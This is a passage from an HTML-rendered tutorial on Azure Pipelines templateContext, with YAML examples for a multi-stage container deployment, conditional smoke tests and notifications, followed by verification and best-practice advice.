stage.templateContext.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eNOTIFICATION_CHANNEL\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ coalesce(stage.templateContext.notificationChannel, \u0026#39;deployments\u0026#39;) }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e# Deployment job — always present\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployApp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Deploy to ${{ stage.templateContext.environment }}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ stage.templateContext.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eresourceName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyapp-${{ stage.templateContext.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eAzureCLI@2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Deploy container image\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003eazureSubscription\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ stage.templateContext.serviceConnection }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003escriptType\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ebash\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003escriptLocation\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003einlineScript\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003einlineScript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                        az webapp config container set \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                          --resource-group \u0026#34;rg-myapp-$(DEPLOY_ENV)\u0026#34; \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                          --name \u0026#34;myapp-$(DEPLOY_ENV)\u0026#34; \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                          --docker-custom-image-name \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                            \u0026#34;${{ parameters.containerRegistry }}/myapp:${{ parameters.imageTag }}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                        echo \u0026#34;Deployed ${{ parameters.imageTag }} to $(DEPLOY_ENV)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eInvokeRestAPI@1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Notify ${{ stage.templateContext.notificationChannel }}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003econnectionType\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econnectedServiceName\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-teams-webhook\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003emethod\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ePOST\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                      \u003cspan style=\"color:#f92672\"\u003ebody\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                        {\u0026#34;text\u0026#34;: \u0026#34;Deployed to $(DEPLOY_ENV) — build ${{ parameters.imageTag }}\u0026#34;}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e# Smoke test job — injected only when runSmokeTests: true\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#ae81ff\"\u003e${{ if stage.templateContext.runSmokeTests }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eSmokeTests\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Smoke tests — ${{ stage.templateContext.environment }}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployApp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                  echo \u0026#34;Running smoke tests against $SMOKE_URL\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                  for i in 1 2 3 4 5; do\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                    curl -sf \u0026#34;$SMOKE_URL/health\u0026#34; \u0026amp;\u0026amp; break || sleep 10\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                  done\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                  curl -f \u0026#34;$SMOKE_URL/health\u0026#34; || exit 1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Health check (with retry)\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003eSMOKE_URL\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ stage.templateContext.smokeTestUrl }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ePublishTestResults@2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Publish smoke results\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ealways()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003etestResultsFiles\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;**/smoke-results.xml\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                  \u003cspan style=\"color:#f92672\"\u003etestRunTitle\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Smoke — ${{ stage.templateContext.environment }}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eStep 2\u003c/strong\u003e — Define four stages in the calling pipeline:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# azure-pipelines.yml — 4 stages with templateContext\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003etrigger\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003emain\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etemplates/deploy-stage.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyregistry.azurecr.io\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eimageTag\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(Build.BuildId)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edeployStages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-dev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003enotificationChannel\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployments-dev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunSmokeTests\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e: []           \u003cspan style=\"color:#75715e\"\u003e# template provides the deployment job; no additional jobs needed\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eTest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003etest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-test\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003enotificationChannel\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployments-test\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunSmokeTests\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e: []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eStaging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eTest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estaging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-staging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003enotificationChannel\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployments-staging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunSmokeTests\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e: []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eProd\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eStaging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-prod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003enotificationChannel\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeployments-prod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003erunSmokeTests\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esmokeTestUrl\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ehttps://myapp.prod.example.com\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e: []\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eVerification:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePipeline graph shows four deployment stages with names \u003ccode\u003eDev\u003c/code\u003e, \u003ccode\u003eTest\u003c/code\u003e, \u003ccode\u003eStaging\u003c/code\u003e, \u003ccode\u003eProd\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eExpanded YAML shows the \u003ccode\u003eSmokeTests\u003c/code\u003e job present in the \u003ccode\u003eProd\u003c/code\u003e stage and absent from the other three.\u003c/li\u003e\n\u003cli\u003eEach deployment task references the correct service connection for its stage.\u003c/li\u003e\n\u003cli\u003eAdding a \u003ccode\u003euat\u003c/code\u003e stage requires one new entry in the \u003ccode\u003edeployStages\u003c/code\u003e list — zero changes to \u003ccode\u003etemplates/deploy-stage.yml\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"best-practices--optimization\"\u003eBest Practices \u0026amp; Optimization\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eDo:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUse \u003ccode\u003etemplateContext\u003c/code\u003e for any property that varies per job or stage — keep variation data co-located with the item it describes.\u003c/li\u003e\n\u003cli\u003eBridge \u003ccode\u003etemplateContext\u003c/code\u003e values into runtime steps via the job-level \u003ccode\u003evariables:\u003c/code\u003e injection pattern — it is the only reliable way to make compile-time metadata available to executing scripts.\u003c/li\u003e\n\u003cli\u003eUse \u003ccode\u003ecoalesce()\u003c/code\u003e for optional properties: \u003ccode\u003e${{ coalesce(job.templateContext.notificationChannel, 'deployments') }}\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eDocument the expected \u003ccode\u003etemplateContext\u003c/code\u003e schema in the template file\u0026rsquo;s \u003ccode\u003eparameters:\u003c/code\u003e block comments — it is the only discoverable reference for callers, since \u003ccode\u003etemplateContext\u003c/code\u003e has no schema validation.\u003c/li\u003e\n\u003cli\u003eCombine \u003ccode\u003etemplateContext\u003c/code\u003e with a global \u003ccode\u003eobject\u003c/code\u003e parameter: \u003ccode\u003etemplateContext\u003c/code\u003e for per-item variation, \u003ccode\u003eobject\u003c/code\u003e for template-wide shared settings.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eDon\u0026rsquo;t:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePut secrets in \u003ccode\u003etemplateContext\u003c/code\u003e — the content is plain text in source-controlled YAML visible to anyone with repository read access; use variable groups or Azure Key Vault.\u003c/li\u003e\n\u003cli\u003eAccess \u003ccode\u003etemplateContext\u003c/code\u003e from inside a \u003ccode\u003esteps:\u003c/code\u003e block — it does not exist at runtime; use the variable injection or \u003ccode\u003eenv:\u003c/code\u003e block pattern.\u003c/li\u003e\n\u003cli\u003eUse \u003ccode\u003etemplateContext\u003c/code\u003e on jobs defined directly in the pipeline root YAML (not inside a parameter) — it triggers an \u0026ldquo;Unexpected value \u0026rsquo;templateContext\u0026rsquo;\u0026rdquo; parse error.\u003c/li\u003e\n\u003cli\u003eReplicate stage-level \u003ccode\u003etemplateContext\u003c/code\u003e values into every job in that stage — inject once at the stage level via \u003ccode\u003evariables:\u003c/code\u003e and let jobs inherit.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003ePerformance:\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003etemplateContext\u003c/code\u003e adds no runtime overhead. It is compiled away before the pipeline executes — no cost to adding many properties. However, deeply nested \u003ccode\u003etemplateContext\u003c/code\u003e structures (objects containing objects) increase the YAML parser\u0026rsquo;s memory footprint during Phase 2. Keep \u003ccode\u003etemplateContext\u003c/code\u003e flat (scalar values, not nested mappings) to stay well within the 20 MB parsing memory limit.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSecurity:\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003etemplateContext\u003c/code\u003e content is visible in the repository YAML file — treat it as public configuration, not a credentials store. A \u003ccode\u003etemplateContext\u003c/code\u003e property used in a \u003ccode\u003e${{ if }}\u003c/code\u003e condition controls pipeline structure at compile time. A Facade template with \u003ccode\u003evalues:\u003c/code\u003e constraints on routing parameters provides the validation layer that \u003ccode\u003etemplateContext\u003c/code\u003e itself 